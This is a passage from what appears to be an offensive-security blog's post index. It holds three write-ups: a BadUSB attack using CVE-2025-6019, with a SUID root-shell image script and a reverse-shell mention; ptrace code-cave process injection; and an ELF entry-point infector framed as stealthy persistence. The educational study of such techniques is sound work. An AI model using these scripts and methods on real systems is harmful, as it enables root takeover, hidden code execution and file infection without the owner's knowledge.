gets a coffee.\nIn this project, I wanted to explore the modern state of HID (Human Interface Device) Attacks. I combined low-cost hardware (a Raspberry Pi Pico acting as a \u0026ldquo;BadUSB\u0026rdquo;) with a very recent Linux vulnerability, CVE-2025-6019, to create a \u0026ldquo;Plug-and-Pwn\u0026rdquo; device that elevates from physical access to a root shell almost instantly.\nThe Concept: Beyond the Rubber Ducky # Classic HID attacks (like the famous USB Rubber Ducky) usually work by emulating a keyboard and typing furiously. They open a terminal, type a long wget command to download a payload, and run it.\nThis works, but it has drawbacks:\nIt\u0026rsquo;s noisy: A terminal window flashing on the screen is obvious to the user. It requires internet: The target needs to reach your C2 server to download the stage 2 payload. I wanted something cleaner, faster, and more self-contained. My goal was a device that acts as both a keyboard and mass storage simultaneously to deliver the exploit locally.\nThe Vulnerability: CVE-2025-6019 # The core of this attack isn\u0026rsquo;t just typing fast; it\u0026rsquo;s weaponizing a specific flaw in how modern Linux desktop environments handle removable media.\nCVE-2025-6019 relates to a local privilege escalation vulnerability involving libblockdev and udisks2. In simple terms, modern desktops try to be helpful. When a user is physically present at the machine, services like PolicyKit often allow them to mount USB drives without asking for a root password (via the allow_active directive).\nThe critical flaw is that under certain conditions, the system fails to enforce security restrictions like nosuid (No Set User ID) on these user-mounted partitions.\nIf I can mount a partition containing a binary with the SUID bit set owned by root, and the system doesn\u0026rsquo;t strip that bit during mounting, executing that binary gives me root privileges.\nThe Attack Chain # My implementation uses a microcontroller (like a Pi Pico or an Arduino-compatible board) programmed to present itself as two devices: Let\u0026rsquo;s call it the \u0026ldquo;Two-Faced USB\u0026rdquo;.\n1. The Trojan Horse (Mass Storage) # One part of the USB device acts as a standard storage drive. Before the attack, I prepare a specially crafted, tiny filesystem image on it.\nThe preparation script (C2-attack.sh in my repo) does the heavy lifting:\n# Create a small container file dd if=/dev/zero of=./payload.img bs=1M count=50 # Format it as XFS (or ext4) mkfs.xfs ./payload.img # Mount it temporarily to inject the payload mkdir -p ./mnt_point mount -o loop ./payload.img ./mnt_point # Copy a shell binary (like bash or sh) cp /bin/bash ./mnt_point/sys_shell # THE CRITICAL STEP: Set the SUID bit # 4755 means root owner, readable/executable by all, # but runs with the permissions of the owner (root) chown root:root ./mnt_point/sys_shell chmod 4755 ./mnt_point/sys_shell # Unmount. The image is now primed. umount ./mnt_point This image now contains a \u0026ldquo;poisoned\u0026rdquo; bash shell.\n2. The Trigger (HID Keyboard) # When the USB is plugged in, the OS detects the storage partition. The HID keyboard component then immediately sends a pre-programmed sequence of keystrokes.\nInstead of typing a long download command, it simply triggers the mounting of the poisoned partition. Because of CVE-2025-6019, the desktop environment mounts it without nosuid.\nThe keyboard then navigates to the mount point and executes the poisoned shell:\n$ /media/user/USB_NAME/sys_shell -p\nBecause the SUID bit is active, this shell spawns with effective UID 0 (root). Game over.\nAutomation and \u0026ldquo;Quality of Life\u0026rdquo; # To make this a viable Red Team tool, I automated the payload generation. I wrote Python scripts that detect the attacker\u0026rsquo;s local IP and embed it into the necessary files before generating the final image.\nThis ensures that once root is achieved on the victim machine, it knows exactly where to send the reverse shell back to the attacker, making the attack highly portable.\nConclusion \u0026amp; Mitigation # This project was a fascinating dive into the intersection of hardware and software security. It highlights that even if your network perimeter is flawless, a ten-dollar USB stick and a localized OS vulnerability can bypass everything.\nHow to defend against this? For system administrators, the mitigation involves hardening PolicyKit rules to ensure physical users cannot mount arbitrary filesystems without strict nosuid and noexec options enforced by the kernel.\nFor everyone else: Don\u0026rsquo;t plug strange USB drives into your computer. Seriously.\nYou can find the proof-of-concept code for this project on the repository.\n","date":"20 January 2026","externalUrl":null,"permalink":"/posts/hid-attack/","section":"Posts","summary":"","title":"Deep Dive: HID Attacks with Raspberry Pi Pico and CVE-2025-6019","type":"posts"},{"content":" Deep Dive: Process Injection via Code Cave Discovery on Linux # In the world of low-level systems programming and offensive security research, Process Injection is a surgical technique. While many developers are familiar with LD_PRELOAD or shared library injection, this project explores a more manual approach: finding a \u0026ldquo;Code Cave\u0026rdquo; and hijacking the instruction pointer () via the ptrace system call.\nThis article breaks down a C implementation of a Code Cave Injector designed to hijack a running process without causing a segmentation fault or crash.\nThe Architecture of the Injection # The objective of the code is to take control of a \u0026ldquo;victim\u0026rdquo; process, execute custom assembly, and then return control to the original execution flow. I have designed the logic to follow a strict four-stage workflow:\nAttachment: The code uses ptrace(PTRACE_ATTACH) to pause the target process and gain control over its registers. Reconnaissance: It parses /proc/[pid]/maps to find memory segments marked as executable (r-xp). Cave Hunting: It scans those segments for a \u0026ldquo;Code Cave\u0026rdquo;—a sequence of null bytes () large enough to hold the payload. Hijack: The code patches the payload with the target\u0026rsquo;s original , writes it into the cave, and redirects the process. 1. Defining the Payload (The \u0026ldquo;Guest\u0026rdquo;) # The payload is written in raw x86_64 assembly using an __asm__ block. To ensure the target process doesn\u0026rsquo;t crash, the assembly must save the CPU state.\n\u0026#34;push %rax; push %rdi; push %rsi...\u0026#34; // Save volatile registers // ... Syscall: write(1, msg, 32) ... \u0026#34;pop %rsi; pop %rdi; pop %rax...\u0026#34; // Restore registers \u0026#34;.byte 0x48, 0xb8\\n\u0026#34; // Opcode for MOV RAX, \u0026lt;immediate_64\u0026gt; \u0026#34;continuation: .quad 0x0\\n\u0026#34; // Placeholder for original RIP \u0026#34;jmp *%rax\\n\u0026#34; // Jump back to normal execution The use of .quad 0x0 is a critical design choice. It acts as a \u0026ldquo;hot patch\u0026rdquo; zone. The injector will find the bytes (the movabs instruction) and overwrite the subsequent 8 bytes with the address where the process was interrupted.\n2. Hunting for the Cave # A code cave typically exists because of memory page alignment. When a compiler generates a code section, it might only fill bytes of a -byte page. The remaining bytes are often filled with nulls and remain executable.\nThe find_code_cave function performs the following:\nIt opens /proc/[target_pid]/maps. It identifies regions with the \u0026lsquo;x\u0026rsquo; (executable) permission bit. It uses PTRACE_PEEKDATA to read the memory of the target 8 bytes at a time. It iterates through these bytes looking for a continuous stream of values that matches the payload_size. 3. The Patching Logic # Before writing to the target, the code must \u0026ldquo;contextualize\u0026rdquo; the payload. If the injector simply wrote the raw assembly, the process would have no way to return to its original task.\n// Search local_payload for the 0x48 0xb8 signature unsigned long return_addr_offset = 0; for(size_t i=0; i\u0026lt;payload_size-8; i++) { if(local_payload[i] == 0x48 \u0026amp;\u0026amp; local_payload[i+1] == 0xb8) { return_addr_offset = i + 2; break; } } // Overwrite the placeholder with the actual RIP of the victim *(unsigned long*)(local_payload + return_addr_offset) = regs-\u0026gt;rip; This logic ensures that the injected code acts as a \u0026ldquo;transparent wrapper.\u0026rdquo; I am essentially inserting a detour: the CPU goes to the cave, prints the message, and then jumps back to the exact instruction it was supposed to execute next.\n4. Modifying the Instruction Pointer # The final step is the actual redirection. I use PTRACE_SETREGS to update the target\u0026rsquo;s register state. By changing the to the address of the code cave, the next instruction the CPU fetches for that process will be the start of my payload.\nregs-\u0026gt;rip = cave_addr; if (ptrace(PTRACE_SETREGS, target, NULL, \u0026amp;regs) == -1) { perror(\u0026#34;ptrace setregs\u0026#34;); } Once ptrace(PTRACE_DETACH) is called, the kernel resumes the process. The victim process continues running, completely unaware that it just executed an external payload.\nTechnical Constraints and Stability # ASLR (Address Space Layout Randomization): This implementation bypasses ASLR because it queries the dynamic memory map of the process at runtime rather than relying on static offsets. PTRACE_SCOPE: On many modern Linux distributions, /proc/sys/kernel/yama/ptrace_scope is set to 1. This prevents the injector from attaching to processes that are not its children unless it is run with sudo. Memory Coherency: Since I am writing to an existing executable page, I don\u0026rsquo;t need to call mmap or mprotect, making the injection stealthier and less likely to trigger security alerts that monitor for RWX memory allocations. ","date":"18 January 2026","externalUrl":null,"permalink":"/posts/process_injector/","section":"Posts","summary":"","title":"Deep Dive: Process Injection via Code Cave Discovery on Linux","type":"posts"},{"content":"","date":"18 January 2026","externalUrl":null,"permalink":"/tags/elf/","section":"Tags","summary":"","title":"ELF","type":"tags"},{"content":"Disclaimer: This tool is a Proof of Concept (PoC) for educational purposes only.\nUnderstanding how Linux executables work under the hood is the best way to understand system security. In this project, I built a \u0026ldquo;Code Cave Injector\u0026rdquo; — a tool that hides a payload inside an existing binary without changing its file size.\nHere is a breakdown of how my Infektor tool works, referencing the source code.\nThe Concept: What is a \u0026ldquo;Code Cave\u0026rdquo;? # When a compiler (like GCC) builds a program, it organizes the code into Segments. To optimize memory access, these segments are aligned to Page Boundaries (usually 4096 bytes / 0x1000).\nBecause code rarely fits exactly into these 4096-byte blocks, there is often empty space (padding) filled with zeros at the end of the executable segment. This gap is called a Code Cave.\nVisualizing the gaps between segments in an ELF file.\nMy tool finds this gap and inserts shellcode into it.\nKey Implementation Details # The injector performs three main tasks:\nMap the target binary into memory. Find a suitable gap (Code Cave) in the executable segment. Inject the payload and hijack the Entry Point. 1. Memory Mapping (mmap) # Instead of using standard read/write calls, I used mmap. This maps the file directly into the program\u0026rsquo;s virtual memory space. Any change I make to the memory array file[] is written directly to the disk thanks to the MAP_SHARED flag.\nunsigned char *file = mmap( NULL, size, PROT_READ | PROT_WRITE, MAP_SHARED, // Writes sync back to the file fd, 0 ); 2.The Safety Check (calculate_gap) # This is the most critical part of the code. If we blindly inject code, we might overwrite the next segment (like .data or .rodata), crashing the program.\nI implemented a function calculate_gap that looks at the PT_LOAD segment headers to measure exactly how much space exists before the next segment starts.\nsize_t calculate_gap(Elf64_Phdr *target, Elf64_Phdr *all_hdrs, int count, size_t file_size) { Elf64_Off target_end = target-\u0026gt;p_offset + target-\u0026gt;p_filesz; Elf64_Off nearest_next_start = file_size; // Scan all headers to find the one that starts immediately after our target for (int i = 0; i \u0026lt; count; i++) { Elf64_Off current_start = all_hdrs[i].p_offset; if (current_start \u0026gt;= target_end) { if (current_start \u0026lt; nearest_next_start) { nearest_next_start = current_start; } } } return nearest_next_start - target_end; } If size_payload \u0026gt; available_gap, the tool aborts with a CRITICAL ERROR. This ensures reliability.\n3. Hijacking Execution (infection) # Once the space is confirmed, the injection happens.\nCopy Payload: I copy the shellcode to the end of the text segment.\nPatch Return Address: My payload needs to jump back to the original program so the user doesn\u0026rsquo;t notice anything. I calculate jt_offset and patch the jump_target variable inside the shellcode dynamically.\nUpdate Entry Point: Finally, I modify the ELF Header (e_entry) to point to my new code location (payload_va).\nint infection(int fd, Elf64_Ehdr *ehdr, Elf64_Phdr *phdr, unsigned char *file) { // ... logic to calculate offsets ... // Patch the payload with the original entry point memcpy(payload_dst + jt_offset, \u0026amp;original_entry, sizeof(Elf64_Addr)); // Hijack the binary entry point ehdr-\u0026gt;e_entry = payload_va; // Officially extend the segment size to include the payload phdr-\u0026gt;p_filesz += size; phdr-\u0026gt;p_memsz += size; return 0; } Linking C and Assembly # One interesting challenge was linking the C injector with the Assembly payload. I used extern symbols to access labels defined in the .s file directly from C.\nextern unsigned char payload_start; extern unsigned long jump_target; This allows the C code to measure the payload size dynamically and know exactly where to patch the jump addresses.\nConclusion # This project was a deep dive into the ELF file format. By manipulating Elf64_Phdr structures directly, I learned how the OS loader parses binaries. The result is a stealthy persistence mechanism that leaves the file size unchanged on the disk (ls -l shows no difference!).\n","date":"13 January 2026","externalUrl":null,"permalink":"/posts/elf-infektor/","section":"Posts","summary":"","title":"Deep Dive: Writing an ELF Code Cave Infector in C","type":"posts"},{"content":"","externalUrl":null,"permalink":"/authors/","section":"Authors","summary":"","title":"Authors","type":"authors"},{"content":"","externalUrl":null,"permalink":"/series/","section":"Series","summary":"","title":"Series","type":"series"}]